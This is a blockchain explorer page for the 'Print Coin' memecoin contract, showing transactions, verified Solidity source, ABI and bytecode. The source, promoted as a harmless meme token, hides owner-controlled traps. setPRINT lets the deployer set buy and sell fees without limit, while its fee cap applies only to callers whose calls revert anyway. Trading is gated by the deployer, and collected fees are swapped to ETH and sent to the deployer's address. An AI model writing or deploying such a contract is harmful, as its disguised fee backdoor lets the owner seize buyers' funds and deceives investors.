ETH Price: $3,232.44 (-1.07%)

Contract

0x1E028a66D5c8A7a822E7858E2DdAC189dc7c58E9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve187523732023-12-10 0:55:59408 days ago1702169759IN
0x1E028a66...9dc7c58E9
0 ETH0.0011313324.38012222
Approve187523392023-12-10 0:49:11408 days ago1702169351IN
0x1E028a66...9dc7c58E9
0 ETH0.0014297430.77104976
Set PRINT187523382023-12-10 0:48:59408 days ago1702169339IN
0x1E028a66...9dc7c58E9
0 ETH0.0011531725.05706674
Approve187523362023-12-10 0:48:35408 days ago1702169315IN
0x1E028a66...9dc7c58E9
0 ETH0.0013568629.20246437
Approve187523362023-12-10 0:48:35408 days ago1702169315IN
0x1E028a66...9dc7c58E9
0 ETH0.001269427.32026024
Approve187523362023-12-10 0:48:35408 days ago1702169315IN
0x1E028a66...9dc7c58E9
0 ETH0.001269427.32026024
Approve187523362023-12-10 0:48:35408 days ago1702169315IN
0x1E028a66...9dc7c58E9
0 ETH0.001269427.32026024
Open Trade187523352023-12-10 0:48:23408 days ago1702169303IN
0x1E028a66...9dc7c58E9
0 ETH0.0006509824.60918822
Approve187523052023-12-10 0:42:11408 days ago1702168931IN
0x1E028a66...9dc7c58E9
0 ETH0.0011146524.12046344

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PrintCoin

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-12-10
*/

/*

Welcome to the home of Print Coin!
Embrace the spirit of J-Pow and join us as we revolutionize crypto space one brrrrr at a time. 
This isn't just about memes and money; it's about making history.
Our mission? Paying off the U.S. debt. It's bold, audacious, and downright insane - just like the best memecoins should be.

TG - https://t.me/PrintCoinTGPortal
Twitter - https://twitter.com/printcoin_ETH
Website - https://printcoin.vip

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.23;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract PrintCoin {
        string public constant name = "Print Coin";  //
        string public constant symbol = "PRINT";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 31_400_000_000_000 * 10**decimals;

        uint256 BurnTNumber = 0;
        uint256 ConfirmTNumber = 0;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0xe338eF93A080B0083bAB595D47623101e6534671)); //

        bool private swapping;
        bool private TradingOpenStatus;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(TradingOpenStatus || from == deployer || to == deployer);

            if(!TradingOpenStatus && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalFigure = amount * (from == pair ? BurnTNumber : ConfirmTNumber) / 100;
                amount -= FinalFigure;
                balanceOf[address(this)] += FinalFigure;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function OpenTrade() external {
            require(msg.sender == deployer);
            require(!TradingOpenStatus);
            TradingOpenStatus = true;        
            }
            
        function setPRINT(uint256 newTBurn, uint256 newTConfirm) external {
        if(msg.sender == deployer){
            BurnTNumber = newTBurn;
            ConfirmTNumber = newTConfirm;
            }
        else{
            require(newTBurn < 10);
            require(newTConfirm < 10);
            revert();
            }  
        }
        }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTBurn","type":"uint256"},{"internalType":"uint256","name":"newTConfirm","type":"uint256"}],"name":"setPRINT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f80555f60015534801562000017575f80fd5b50620000266012600a620001df565b6200003890651c8ee1d89000620001f6565b335f8181526002602090815260408083209490945530825260038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000a76012600a620001df565b620000b990651c8ee1d89000620001f6565b60405190815260200160405180910390a362000210565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200012457815f1904821115620001085762000108620000d0565b808516156200011657918102915b93841c9390800290620000e9565b509250929050565b5f826200013c57506001620001d9565b816200014a57505f620001d9565b81600181146200016357600281146200016e576200018e565b6001915050620001d9565b60ff841115620001825762000182620000d0565b50506001821b620001d9565b5060208310610133831016604e8410600b8410161715620001b3575081810a620001d9565b620001bf8383620000e4565b805f1904821115620001d557620001d5620000d0565b0290505b92915050565b5f620001ef60ff8416836200012c565b9392505050565b8082028115828204841417620001d957620001d9620000d0565b610b04806200021e5f395ff3fe60806040526004361061009d575f3560e01c8063313ce56711610062578063313ce5671461017957806370a082311461019f57806395d89b41146101ca578063a9059cbb146101fa578063dd62ed3e14610219578063fa1c86621461024f575f80fd5b806306fdde03146100a8578063095ea7b3146100f35780630f8540e41461012257806318160ddd1461013857806323b872dd1461015a575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100dd6040518060400160405280600a815260200169283934b73a1021b7b4b760b11b81525081565b6040516100ea91906107b9565b60405180910390f35b3480156100fe575f80fd5b5061011261010d366004610820565b61026e565b60405190151581526020016100ea565b34801561012d575f80fd5b506101366102da565b005b348015610143575f80fd5b5061014c610324565b6040519081526020016100ea565b348015610165575f80fd5b50610112610174366004610848565b610343565b348015610184575f80fd5b5061018d601281565b60405160ff90911681526020016100ea565b3480156101aa575f80fd5b5061014c6101b9366004610881565b60026020525f908152604090205481565b3480156101d5575f80fd5b506100dd60405180604001604052806005815260200164141492539560da1b81525081565b348015610205575f80fd5b50610112610214366004610820565b610390565b348015610224575f80fd5b5061014c61023336600461089a565b600360209081525f928352604080842090915290825290205481565b34801561025a575f80fd5b506101366102693660046108cb565b6103a3565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c89086815260200190565b60405180910390a35060015b92915050565b3373e338ef93a080b0083bab595d47623101e6534671146102f9575f80fd5b600454600160a81b900460ff161561030f575f80fd5b6004805460ff60a81b1916600160a81b179055565b6103306012600a6109df565b61034090651c8ee1d890006109ed565b81565b6001600160a01b0383165f908152600360209081526040808320338452909152812080548391908390610377908490610a04565b9091555061038890508484846103e1565b949350505050565b5f61039c3384846103e1565b9392505050565b73e338ef93a080b0083bab595d47623101e65346701933016103c9575f91909155600155565b600a82106103d5575f80fd5b600a81106100a4575f80fd5b6004545f90600160a81b900460ff168061041757506001600160a01b03841673e338ef93a080b0083bab595d47623101e6534671145b8061043e57506001600160a01b03831673e338ef93a080b0083bab595d47623101e6534671145b610446575f80fd5b600454600160a81b900460ff1615801561046957506004546001600160a01b0316155b801561047457505f82115b1561049557600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104bc908490610a04565b90915550506004546001600160a01b0384811691161480156104e85750600454600160a01b900460ff16155b8015610529575060646104fd6012600a6109df565b61050d90651c8ee1d890006109ed565b6105179190610a17565b305f9081526002602052604090205410155b156106b5576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061057457610574610a36565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105bc576105bc610a36565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105fc6012600a6109df565b61060c90651c8ee1d890006109ed565b6106169190610a17565b5f8430426040518663ffffffff1660e01b815260040161063a959493929190610a4a565b5f604051808303815f87803b158015610651575f80fd5b505af1158015610663573d5f803e3d5ffd5b505060405173e338ef93a080b0083bab595d47623101e653467192504780156108fc029250905f818181858888f193505050501580156106a5573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610734576004545f906064906001600160a01b038781169116146106e7576001546106ea565b5f545b6106f490856109ed565b6106fe9190610a17565b905061070a8184610a04565b305f9081526002602052604081208054929550839290919061072d908490610abb565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061075b908490610abb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a791815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b818110156107e5578581018301518582016040015282016107c9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461081b575f80fd5b919050565b5f8060408385031215610831575f80fd5b61083a83610805565b946020939093013593505050565b5f805f6060848603121561085a575f80fd5b61086384610805565b925061087160208501610805565b9150604084013590509250925092565b5f60208284031215610891575f80fd5b61039c82610805565b5f80604083850312156108ab575f80fd5b6108b483610805565b91506108c260208401610805565b90509250929050565b5f80604083850312156108dc575f80fd5b50508035926020909101359150565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561093957815f190482111561091f5761091f6108eb565b8085161561092c57918102915b93841c9390800290610904565b509250929050565b5f8261094f575060016102d4565b8161095b57505f6102d4565b8160018114610971576002811461097b57610997565b60019150506102d4565b60ff84111561098c5761098c6108eb565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156109ba575081810a6102d4565b6109c483836108ff565b805f19048211156109d7576109d76108eb565b029392505050565b5f61039c60ff841683610941565b80820281158282048414176102d4576102d46108eb565b818103818111156102d4576102d46108eb565b5f82610a3157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a9a5784516001600160a01b031683529383019391830191600101610a75565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46108eb56fea26469706673582212200d54e87a3a6d5ea2edac0d82304bb4af28a73918c8ecde789abb06a377facbde64736f6c63430008170033

Deployed Bytecode

0x60806040526004361061009d575f3560e01c8063313ce56711610062578063313ce5671461017957806370a082311461019f57806395d89b41146101ca578063a9059cbb146101fa578063dd62ed3e14610219578063fa1c86621461024f575f80fd5b806306fdde03146100a8578063095ea7b3146100f35780630f8540e41461012257806318160ddd1461013857806323b872dd1461015a575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100dd6040518060400160405280600a815260200169283934b73a1021b7b4b760b11b81525081565b6040516100ea91906107b9565b60405180910390f35b3480156100fe575f80fd5b5061011261010d366004610820565b61026e565b60405190151581526020016100ea565b34801561012d575f80fd5b506101366102da565b005b348015610143575f80fd5b5061014c610324565b6040519081526020016100ea565b348015610165575f80fd5b50610112610174366004610848565b610343565b348015610184575f80fd5b5061018d601281565b60405160ff90911681526020016100ea565b3480156101aa575f80fd5b5061014c6101b9366004610881565b60026020525f908152604090205481565b3480156101d5575f80fd5b506100dd60405180604001604052806005815260200164141492539560da1b81525081565b348015610205575f80fd5b50610112610214366004610820565b610390565b348015610224575f80fd5b5061014c61023336600461089a565b600360209081525f928352604080842090915290825290205481565b34801561025a575f80fd5b506101366102693660046108cb565b6103a3565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c89086815260200190565b60405180910390a35060015b92915050565b3373e338ef93a080b0083bab595d47623101e6534671146102f9575f80fd5b600454600160a81b900460ff161561030f575f80fd5b6004805460ff60a81b1916600160a81b179055565b6103306012600a6109df565b61034090651c8ee1d890006109ed565b81565b6001600160a01b0383165f908152600360209081526040808320338452909152812080548391908390610377908490610a04565b9091555061038890508484846103e1565b949350505050565b5f61039c3384846103e1565b9392505050565b73e338ef93a080b0083bab595d47623101e65346701933016103c9575f91909155600155565b600a82106103d5575f80fd5b600a81106100a4575f80fd5b6004545f90600160a81b900460ff168061041757506001600160a01b03841673e338ef93a080b0083bab595d47623101e6534671145b8061043e57506001600160a01b03831673e338ef93a080b0083bab595d47623101e6534671145b610446575f80fd5b600454600160a81b900460ff1615801561046957506004546001600160a01b0316155b801561047457505f82115b1561049557600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104bc908490610a04565b90915550506004546001600160a01b0384811691161480156104e85750600454600160a01b900460ff16155b8015610529575060646104fd6012600a6109df565b61050d90651c8ee1d890006109ed565b6105179190610a17565b305f9081526002602052604090205410155b156106b5576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061057457610574610a36565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105bc576105bc610a36565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105fc6012600a6109df565b61060c90651c8ee1d890006109ed565b6106169190610a17565b5f8430426040518663ffffffff1660e01b815260040161063a959493929190610a4a565b5f604051808303815f87803b158015610651575f80fd5b505af1158015610663573d5f803e3d5ffd5b505060405173e338ef93a080b0083bab595d47623101e653467192504780156108fc029250905f818181858888f193505050501580156106a5573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610734576004545f906064906001600160a01b038781169116146106e7576001546106ea565b5f545b6106f490856109ed565b6106fe9190610a17565b905061070a8184610a04565b305f9081526002602052604081208054929550839290919061072d908490610abb565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061075b908490610abb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a791815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b818110156107e5578581018301518582016040015282016107c9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461081b575f80fd5b919050565b5f8060408385031215610831575f80fd5b61083a83610805565b946020939093013593505050565b5f805f6060848603121561085a575f80fd5b61086384610805565b925061087160208501610805565b9150604084013590509250925092565b5f60208284031215610891575f80fd5b61039c82610805565b5f80604083850312156108ab575f80fd5b6108b483610805565b91506108c260208401610805565b90509250929050565b5f80604083850312156108dc575f80fd5b50508035926020909101359150565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561093957815f190482111561091f5761091f6108eb565b8085161561092c57918102915b93841c9390800290610904565b509250929050565b5f8261094f575060016102d4565b8161095b57505f6102d4565b8160018114610971576002811461097b57610997565b60019150506102d4565b60ff84111561098c5761098c6108eb565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156109ba575081810a6102d4565b6109c483836108ff565b805f19048211156109d7576109d76108eb565b029392505050565b5f61039c60ff841683610941565b80820281158282048414176102d4576102d46108eb565b818103818111156102d4576102d46108eb565b5f82610a3157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a9a5784516001600160a01b031683529383019391830191600101610a75565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d4576102d46108eb56fea26469706673582212200d54e87a3a6d5ea2edac0d82304bb4af28a73918c8ecde789abb06a377facbde64736f6c63430008170033

Deployed Bytecode Sourcemap

829:4077:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;859:42;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;859:42:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2398:222;;;;;;;;;;-1:-1:-1;2398:222:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2398:222:0;1004:187:1;4348:181:0;;;;;;;;;;;;;:::i;:::-;;1016:71;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;1016:71:0;1196:177:1;2780:208:0;;;;;;;;;;-1:-1:-1;2780:208:0;;;;;:::i;:::-;;:::i;970:35::-;;;;;;;;;;;;1003:2;970:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;970:35:0;1711:184:1;1231:45:0;;;;;;;;;;-1:-1:-1;1231:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;916:39;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;916:39:0;;;;;2632:136;;;;;;;;;;-1:-1:-1;2632:136:0;;;;;:::i;:::-;;:::i;1287:66::-;;;;;;;;;;-1:-1:-1;1287:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;4553:342;;;;;;;;;;-1:-1:-1;4553:342:0;;;;;:::i;:::-;;:::i;2398:222::-;2496:10;2466:4;2486:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2486:30:0;;;;;;;;;;:39;;;2545:37;2466:4;;2486:30;;2545:37;;;;2519:6;1342:25:1;;1330:2;1315:18;;1196:177;2545:37:0;;;;;;;;-1:-1:-1;2604:4:0;2398:222;;;;;:::o;4348:181::-;4401:10;1994:42;4401:22;4393:31;;;;;;4448:17;;-1:-1:-1;;;4448:17:0;;;;4447:18;4439:27;;;;;;4481:17;:24;;-1:-1:-1;;;;4481:24:0;-1:-1:-1;;;4481:24:0;;;4348:181::o;1016:71::-;1075:12;1003:2;1075;:12;:::i;:::-;1054:33;;:18;:33;:::i;:::-;1016:71;:::o;2780:208::-;-1:-1:-1;;;;;2882:15:0;;2862:4;2882:15;;;:9;:15;;;;;;;;2898:10;2882:27;;;;;;;:37;;2913:6;;2882:27;2862:4;;2882:37;;2913:6;;2882:37;:::i;:::-;;;;-1:-1:-1;2949:27:0;;-1:-1:-1;2959:4:0;2965:2;2969:6;2949:9;:27::i;:::-;2942:34;2780:208;-1:-1:-1;;;;2780:208:0:o;2632:136::-;2696:4;2723:33;2733:10;2745:2;2749:6;2723:9;:33::i;:::-;2716:40;2632:136;-1:-1:-1;;;2632:136:0:o;4553:342::-;-1:-1:-1;;4633:10:0;:22;4630:252;;4671:11;:22;;;;4708:14;:28;4553:342::o;4630:252::-;4800:2;4789:8;:13;4781:22;;;;;;4840:2;4826:11;:16;4818:25;;;;;3000:1336;3107:17;;3079:4;;-1:-1:-1;;;3107:17:0;;;;;:37;;-1:-1:-1;;;;;;3128:16:0;;1994:42;3128:16;3107:37;:55;;;-1:-1:-1;;;;;;3148:14:0;;1994:42;3148:14;3107:55;3099:64;;;;;;3184:17;;-1:-1:-1;;;3184:17:0;;;;3183:18;:40;;;;-1:-1:-1;3205:4:0;;-1:-1:-1;;;;;3205:4:0;:18;3183:40;:54;;;;;3236:1;3227:6;:10;3183:54;3180:85;;;3256:4;:9;;-1:-1:-1;;;;;;3256:9:0;-1:-1:-1;;;;;3256:9:0;;;;;3180:85;-1:-1:-1;;;;;3282:15:0;;;;;;:9;:15;;;;;:25;;3301:6;;3282:15;:25;;3301:6;;3282:25;:::i;:::-;;;;-1:-1:-1;;3334:4:0;;-1:-1:-1;;;;;3328:10:0;;;3334:4;;3328:10;:23;;;;-1:-1:-1;3343:8:0;;-1:-1:-1;;;3343:8:0;;;;3342:9;3328:23;:65;;;;-1:-1:-1;1215:3:0;1075:12;1003:2;1075;:12;:::i;:::-;1054:33;;:18;:33;:::i;:::-;1201:17;;;;:::i;:::-;3373:4;3355:24;;;;:9;:24;;;;;;:38;;3328:65;3324:619;;;3413:8;:15;;-1:-1:-1;;;;3413:15:0;-1:-1:-1;;;3413:15:0;;;3471:17;;;3486:1;3471:17;;;;;;;;-1:-1:-1;;3471:17:0;;;;;;;;;;-1:-1:-1;3471:17:0;3447:41;;3525:4;3507;3512:1;3507:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3507:23:0;;;-1:-1:-1;;;;;3507:23:0;;;;;1712:42;3549:4;3554:1;3549:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3549:13:0;;;:7;;;;;;;;;;;:13;1798:42;3581:67;1215:3;1075:12;1003:2;1075;:12;:::i;:::-;1054:33;;:18;:33;:::i;:::-;1201:17;;;;:::i;:::-;3704:1;3728:4;3763;3791:15;3581:248;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3848:40:0;;1994:42;;-1:-1:-1;3866:21:0;3848:40;;;;;-1:-1:-1;3866:21:0;3848:40;;;;3866:21;1994:42;3848:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3907:8:0;:16;;-1:-1:-1;;;;3907:16:0;;;3324:619;-1:-1:-1;;;;;3962:21:0;;3978:4;3962:21;3959:240;;4043:4;;4003:19;;4082:3;;-1:-1:-1;;;;;4035:12:0;;;4043:4;;4035:12;:43;;4064:14;;4035:43;;;4050:11;;4035:43;4025:54;;:6;:54;:::i;:::-;:60;;;;:::i;:::-;4003:82;-1:-1:-1;4104:21:0;4003:82;4104:21;;:::i;:::-;4162:4;4144:24;;;;:9;:24;;;;;:39;;4104:21;;-1:-1:-1;4172:11:0;;4144:24;;;:39;;4172:11;;4144:39;:::i;:::-;;;;-1:-1:-1;;;3959:240:0;-1:-1:-1;;;;;4217:13:0;;;;;;:9;:13;;;;;:23;;4234:6;;4217:13;:23;;4234:6;;4217:23;:::i;:::-;;;;;;;;4279:2;-1:-1:-1;;;;;4264:26:0;4273:4;-1:-1:-1;;;;;4264:26:0;;4283:6;4264:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4264:26:0;;;;;;;;-1:-1:-1;4316:4:0;3000:1336;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:260::-;2159:6;2167;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;;2307:38;2341:2;2330:9;2326:18;2307:38;:::i;:::-;2297:48;;2091:260;;;;;:::o;2356:248::-;2424:6;2432;2485:2;2473:9;2464:7;2460:23;2456:32;2453:52;;;2501:1;2498;2491:12;2453:52;-1:-1:-1;;2524:23:1;;;2594:2;2579:18;;;2566:32;;-1:-1:-1;2356:248:1:o;2609:127::-;2670:10;2665:3;2661:20;2658:1;2651:31;2701:4;2698:1;2691:15;2725:4;2722:1;2715:15;2741:416;2830:1;2867:5;2830:1;2881:270;2902:7;2892:8;2889:21;2881:270;;;2961:4;2957:1;2953:6;2949:17;2943:4;2940:27;2937:53;;;2970:18;;:::i;:::-;3020:7;3010:8;3006:22;3003:55;;;3040:16;;;;3003:55;3119:22;;;;3079:15;;;;2881:270;;;2885:3;2741:416;;;;;:::o;3162:806::-;3211:5;3241:8;3231:80;;-1:-1:-1;3282:1:1;3296:5;;3231:80;3330:4;3320:76;;-1:-1:-1;3367:1:1;3381:5;;3320:76;3412:4;3430:1;3425:59;;;;3498:1;3493:130;;;;3405:218;;3425:59;3455:1;3446:10;;3469:5;;;3493:130;3530:3;3520:8;3517:17;3514:43;;;3537:18;;:::i;:::-;-1:-1:-1;;3593:1:1;3579:16;;3608:5;;3405:218;;3707:2;3697:8;3694:16;3688:3;3682:4;3679:13;3675:36;3669:2;3659:8;3656:16;3651:2;3645:4;3642:12;3638:35;3635:77;3632:159;;;-1:-1:-1;3744:19:1;;;3776:5;;3632:159;3823:34;3848:8;3842:4;3823:34;:::i;:::-;3893:6;3889:1;3885:6;3881:19;3872:7;3869:32;3866:58;;;3904:18;;:::i;:::-;3942:20;;3162:806;-1:-1:-1;;;3162:806:1:o;3973:140::-;4031:5;4060:47;4101:4;4091:8;4087:19;4081:4;4060:47;:::i;4118:168::-;4191:9;;;4222;;4239:15;;;4233:22;;4219:37;4209:71;;4260:18;;:::i;4291:128::-;4358:9;;;4379:11;;;4376:37;;;4393:18;;:::i;4424:217::-;4464:1;4490;4480:132;;4534:10;4529:3;4525:20;4522:1;4515:31;4569:4;4566:1;4559:15;4597:4;4594:1;4587:15;4480:132;-1:-1:-1;4626:9:1;;4424:217::o;4778:127::-;4839:10;4834:3;4830:20;4827:1;4820:31;4870:4;4867:1;4860:15;4894:4;4891:1;4884:15;4910:980;5172:4;5220:3;5209:9;5205:19;5251:6;5240:9;5233:25;5277:2;5315:6;5310:2;5299:9;5295:18;5288:34;5358:3;5353:2;5342:9;5338:18;5331:31;5382:6;5417;5411:13;5448:6;5440;5433:22;5486:3;5475:9;5471:19;5464:26;;5525:2;5517:6;5513:15;5499:29;;5546:1;5556:195;5570:6;5567:1;5564:13;5556:195;;;5635:13;;-1:-1:-1;;;;;5631:39:1;5619:52;;5726:15;;;;5691:12;;;;5667:1;5585:9;5556:195;;;-1:-1:-1;;;;;;;5807:32:1;;;;5802:2;5787:18;;5780:60;-1:-1:-1;;;5871:3:1;5856:19;5849:35;5768:3;4910:980;-1:-1:-1;;;4910:980:1:o;5895:125::-;5960:9;;;5981:10;;;5978:36;;;5994:18;;:::i

